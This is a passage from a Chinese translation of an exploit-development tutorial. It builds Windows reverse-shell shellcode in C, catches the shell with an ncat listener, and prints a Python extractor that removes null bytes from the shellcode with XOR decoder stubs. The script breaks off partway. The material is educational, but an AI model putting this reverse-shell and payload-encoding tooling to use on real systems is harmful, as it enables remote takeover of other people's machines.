显然,`entryPoint`是`shellcode`和实现反向`shell`的入口点。首先,我们导入所有我们需要的函数,接着我们使用它们。细节不重要并且我不得不说`winsock API`的使用非常麻烦。
在`nutshell`中:
1.创建套接字, 2.将套接字连接到`127.0.0.1:123`, 3.创建一个执行`cmd.exe`的进程, 4.将套接字附加到进程的标准输入,标准输出以及标准错误输出, 5.等待进程被终止, 6.当进程已经终止时,则终止当前线程。
第3点与第4点同时进行,第4点调用了`CreateProcess`, 攻击者可以连接到端口123上进行监听,一旦被成功连接,就可以通过套接字(`socket`),即`TCP`连接,与运行在远程机器中的`cmd.exe`进行交互。
安装`ncat`,运行cmd并在命令行上输入:
“`
ncat -lvp 123
“`
此时将会在端口123上监听.
接着回到`Visual Studio 2013`,选择`Release`,搭建项目并运行它。再回到`ncat`,你将观察到如下:
“`
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\Kiuhnm>ncat -lvp 123
Ncat: Version 6.47 ( http://nmap.org/ncat )
Ncat: Listening on :::123
Ncat: Listening on 0.0.0.0:123
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:4409.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\Kiuhnm\documents\visual studio 2013\Projects\shellcode\shellcode>
“`
现在可以执行任意命令了。退出则输入`exi`t。
#### main
得益于`linker`的选项
“`
Function Order: function_order.txt
“`
`function_order.txt`中的第一行仅有一行存在`?entryPoint@@YAHXZ`字符串,函数 `entryPoint`将首先被定位在`shellcode`中。
在源码中,`linker`决定了函数的顺序,因此我们可在任意函数前放入`entryPoint` 。`main`函数在源码中的最后部分,因此它会在`shellcode`的结尾处被链接。当描述映射文件时,我们将了解到这是如何实现的。
### 0x02 Python脚本
#### 介绍
现在,含有`shellcode`的执行体已经准备就绪,我们需要一种提取并修复`shellcode`的方法。这并不容易,我已经编写了`Python`脚本来实现:
1.提取`shellcode`
2.处理字符串的重定位信息
3.通过移除`null`字节修复`shellcode`
使用 `PyCharm` (下载地址).
该脚本只有392行,但是它有些复杂,因此我将对其进行解释: 代码如下:
“`
# Shellcode extractor by Massimiliano Tomassoli (2015)
import sys
import os
import datetime
import pefile
author = ‘Massimiliano Tomassoli’
year = datetime.date.today().year
def dword_to_bytes(value):
return [value & 0xff, (value >> 8) & 0xff, (value >> 16) & 0xff, (value >> 24) & 0xff]
def bytes_to_dword(bytes):
return (bytes[0] & 0xff) | ((bytes[1] & 0xff) << 8) | \
((bytes[2] & 0xff) << 16) | ((bytes[3] & 0xff) << 24)
def get_cstring(data, offset):
'''
Extracts a C string (i.e. null-terminated string) from data starting from offset.
'''
pos = data.find('\0', offset)
if pos == -1:
return None
return data[offset:pos+1]
def get_shellcode_len(map_file):
'''
Gets the length of the shellcode by analyzing map_file (map produced by VS 2013)
'''
try:
with open(map_file, 'r') as f:
lib_object = None
shellcode_len = None
for line in f:
parts = line.split()
if lib_object is not None:
if parts[-1] == lib_object:
raise Exception('_main is not the last function of %s' % lib_object)
else:
break
elif (len(parts) > 2 and parts[1] == ‘_main’):
# Format:
# 0001:00000274 _main 00401274 f shellcode.obj
shellcode_len = int(parts[0].split(‘:’)[1], 16)
lib_object = parts[-1]
if shellcode_len is None:
raise Exception(‘Cannot determine shellcode length’)
except IOError:
print(‘[!] get_shellcode_len: Cannot open “%s”‘ % map_file)
return None
except Exception as e:
print(‘[!] get_shellcode_len: %s’ % e.message)
return None
return shellcode_len
def get_shellcode_and_relocs(exe_file, shellcode_len):
”’
Extracts the shellcode from the .text section of the file exe_file and the string
relocations.
Returns the triple (shellcode, relocs, addr_to_strings).
”’
try:
# Extracts the shellcode.
pe = pefile.PE(exe_file)
shellcode = None
rdata = None
for s in pe.sections:
if s.Name == ‘.text\0\0\0’:
if s.SizeOfRawData < shellcode_len:
raise Exception('.text section too small')
shellcode_start = s.VirtualAddress
shellcode_end = shellcode_start + shellcode_len
shellcode = pe.get_data(s.VirtualAddress, shellcode_len)
elif s.Name == '.rdata\0\0':
rdata_start = s.VirtualAddress
rdata_end = rdata_start + s.Misc_VirtualSize
rdata = pe.get_data(rdata_start, s.Misc_VirtualSize)
if shellcode is None:
raise Exception('.text section not found')
if rdata is None:
raise Exception('.rdata section not found')
# Extracts the relocations for the shellcode and the referenced strings in .rdata.
relocs = []
addr_to_strings = {}
for rel_data in pe.DIRECTORY_ENTRY_BASERELOC:
for entry in rel_data.entries[:-1]: # the last element's rvs is the base_rva (why?)
if shellcode_start <= entry.rva < shellcode_end:
# The relocation location is inside the shellcode.
relocs.append(entry.rva - shellcode_start) # offset relative to the start of shellcode
string_va = pe.get_dword_at_rva(entry.rva)
string_rva = string_va - pe.OPTIONAL_HEADER.ImageBase
if string_rva < rdata_start or string_rva >= rdata_end:
raise Exception(‘shellcode references a section other than .rdata’)
str = get_cstring(rdata, string_rva – rdata_start)
if str is None:
raise Exception(‘Cannot extract string from .rdata’)
addr_to_strings[string_va] = str
return (shellcode, relocs, addr_to_strings)
except WindowsError:
print(‘[!] get_shellcode: Cannot open “%s”‘ % exe_file)
return None
except Exception as e:
print(‘[!] get_shellcode: %s’ % e.message)
return None
def dword_to_string(dword):
return ”.join([chr(x) for x in dword_to_bytes(dword)])
def add_loader_to_shellcode(shellcode, relocs, addr_to_strings):
if len(relocs) == 0:
return shellcode # there are no relocations
# The format of the new shellcode is:
# call here
# here:
# …
# shellcode_start:
#
# relocs:
# off1|off2|… (offsets to relocations (offset are from “here” label))
# str1|str2|…
delta = 21 # shellcode_start – here
# Builds the first part (up to and not including the shellcode).
x = dword_to_bytes(delta + len(shellcode))
y = dword_to_bytes(len(relocs))
code = [
0xE8, 0x00, 0x00, 0x00, 0x00, # CALL here
# here:
0x5E, # POP ESI
0x8B, 0xFE, # MOV EDI, ESI
0x81, 0xC6, x[0], x[1], x[2], x[3], # ADD ESI, shellcode_start + len(shellcode) – here
0xB9, y[0], y[1], y[2], y[3], # MOV ECX, len(relocs)
0xFC, # CLD
# again:
0xAD, # LODSD
0x01, 0x3C, 0x07, # ADD [EDI+EAX], EDI
0xE2, 0xFA # LOOP again
# shellcode_start:
]
# Builds the final part (offX and strX).
offset = delta + len(shellcode) + len(relocs) * 4 # offset from “here” label
final_part = [dword_to_string(r + delta) for r in relocs]
addr_to_offset = {}
for addr in addr_to_strings.keys():
str = addr_to_strings[addr]
final_part.append(str)
addr_to_offset[addr] = offset
offset += len(str)
# Fixes the shellcode so that the pointers referenced by relocs point to the
# string in the final part.
byte_shellcode = [ord(c) for c in shellcode]
for off in relocs:
addr = bytes_to_dword(byte_shellcode[off:off+4])
byte_shellcode[off:off+4] = dword_to_bytes(addr_to_offset[addr])
return ”.join([chr(b) for b in (code + byte_shellcode)]) + ”.join(final_part)
def dump_shellcode(shellcode):
”’
Prints shellcode in C format (‘\x12\x23…’)
”’
shellcode_len = len(shellcode)
sc_array = []
bytes_per_row = 16
for i in range(shellcode_len):
pos = i % bytes_per_row
str = ”
if pos == 0:
str += ‘”‘
str += ‘\\x%02x’ % ord(shellcode[i])
if i == shellcode_len – 1:
str += ‘”;\n’
elif pos == bytes_per_row – 1:
str += ‘”\n’
sc_array.append(str)
shellcode_str = ”.join(sc_array)
print(shellcode_str)
def get_xor_values(value):
”’
Finds x and y such that:
1) x xor y == value
2) x and y doesn’t contain null bytes
Returns x and y as arrays of bytes starting from the lowest significant byte.
”’
# Finds a non-null missing bytes.
bytes = dword_to_bytes(value)
missing_byte = [b for b in range(1, 256) if b not in bytes][0]
xor1 = [b ^ missing_byte for b in bytes]
xor2 = [missing_byte] * 4
return (xor1, xor2)
def get_fixed_shellcode_single_block(shellcode):
”’
Returns a version of shellcode without null bytes or None if the
shellcode can’t be fixed.
If this function fails, use get_fixed_shellcode().
”’
# Finds one non-null byte not present, if any.
bytes = set([ord(c) for c in shellcode])
missing_bytes = [b for b in range(1, 256) if b not in bytes]
if len(missing_bytes) == 0:
return None # shellcode can’t be fixed
missing_byte = missing_bytes[0]
(xor1, xor2) = get_xor_values(len(shellcode))
code = [
0xE8, 0xFF, 0xFF, 0xFF, 0xFF, # CALL $ + 4
# here:
0xC0, # (FF)C0 = INC EAX
0x5F, # POP EDI
0xB9, xor1[0], xor1[1], xor1[2], xor1[3], # MOV ECX,
0x81, 0xF1, xor2[0], xor2[1], xor2[2], xor2[3], # XOR ECX,
0x83, 0xC7, 29, # ADD EDI, shellcode_begin – here
0x33, 0xF6, # XOR ESI, ESI
0xFC, # CLD
# loop1:
0x8A, 0x07, # MOV AL, BYTE PTR [EDI]
0x3C, missing_byte, # CMP AL,
0x0F, 0x44, 0xC6, # CMOVE EAX, ESI
0xAA, # STOSB
0xE2, 0xF6 # LOOP loop1
# shellcode_begin:
]
return ”.join([chr(x) for x in code]) + shellcode.replace(‘\0′, chr(missing_byte))
def get_fixed_shellcode(shellcode):
”’
Returns a version of shellcode without null bytes. This version divides
the shellcode into multiple blocks and should be used only if
get_fixed_shellcode_single_block() doesn’t work with this shellcode.
”’
# The format of bytes_blocks is
# [missing_byte1, number_of_blocks1,
# missing_byte2, number_of_blocks2, …]
# where missing_byteX is the value used to overwrite the null bytes in the
# shellcode, while number_of_blocksX is the number of 254-byte blocks where
# to use the corresponding missing_byteX.
bytes_blocks = []
shellcode_len = len(shellcode)
i = 0
while i < shellcode_len:
num_blocks = 0
missing_bytes = list(range(1, 256))
# Tries to find as many 254-byte contiguous blocks as possible which misses at
# least one non-null value. Note that a single 254-byte block always misses at
# least one non-null value.
while True:
if i >= shellcode_len or num_blocks == 255:
bytes_blocks += [missing_bytes[0], num_blocks]
break
bytes = set([ord(c) for c in shellcode[i:i+254]])
new_missing_bytes = [b for b in missing_bytes if b not in bytes]
if len(new_missing_bytes) != 0: # new block added
missing_bytes = new_missing_bytes
num_blocks += 1
i += 254
else:
bytes += [missing_bytes[0], num_blocks]
break
if len(bytes_blocks) > 0x7f – 5:
# Can’t assemble “LEA EBX, [EDI + (bytes-here)]” or “JMP skip_bytes”.
return None
(xor1, xor2) = get_xor_values(len(shellcode))
code = ([
0xEB, len(bytes_blocks)] + # JMP SHORT skip_bytes
# bytes:
bytes_blocks + [ # …
# skip_bytes:
0xE8, 0xFF, 0xFF, 0xFF, 0xFF, # CALL $ + 4
# here:
0xC0, # (FF)C0 = INC EAX
0x5F, # POP EDI
0xB9, xor1[0], xor1[1], xor1[2], xor1[3], # MOV ECX,
0x81, 0xF1, xor2[0], xor2[1], xor2[2], xor2[3], # XOR ECX,
0x8D, 0x5F, -(len(bytes_blocks) + 5) & 0xFF, # LEA EBX, [EDI + (bytes – here)]
0x83, 0xC7, 0x30, # ADD EDI, shellcode_begin – here
# loop1:
0xB0, 0xFE, # MOV AL, 0FEh
0xF6, 0x63, 0x01, # MUL AL, BYTE PTR [EBX+1]
0x0F, 0xB7, 0xD0, # MOVZX EDX, AX
0x33, 0xF6, # XOR ESI, ESI
0xFC, # CLD
# loop2:
0x8A, 0x07, # MOV AL, BYTE PTR [EDI]
0x3A, 0x03, # CMP AL, BYTE PTR [EBX]
0x0F, 0x44, 0xC6, # CMOVE EAX, ESI
0xAA, # STOSB
0x49, # DEC ECX
0x74, 0x07, # JE shellcode_begin
0x4A, # DEC EDX
0x75, 0xF2, # JNE loop2
0x43, # INC EBX
0x43, # INC EBX
0xEB, 0xE3 # JMP loop1
# shellcode_begin:
])
new_shellcode_pieces = []
pos = 0
for i in range(len(bytes_blocks) / 2):
missing_char = chr(bytes_blocks[i*2])
num_bytes = 254 * bytes_blocks[i*2 + 1]
new_shellcode_pieces.append(shellcode[pos:pos+num_bytes].replace(‘\0’, missing_char))
pos += num_bytes
return ”.join([chr(x) for x in code]) + ”.join(new_shellcode_pieces)
def main():
print(“Shellcode Extractor by %s (%d)\n” % (author, year))
if len(sys.argv) != 3:
print(‘Usage:\n’ +
‘ %s
请登录后查看评论内容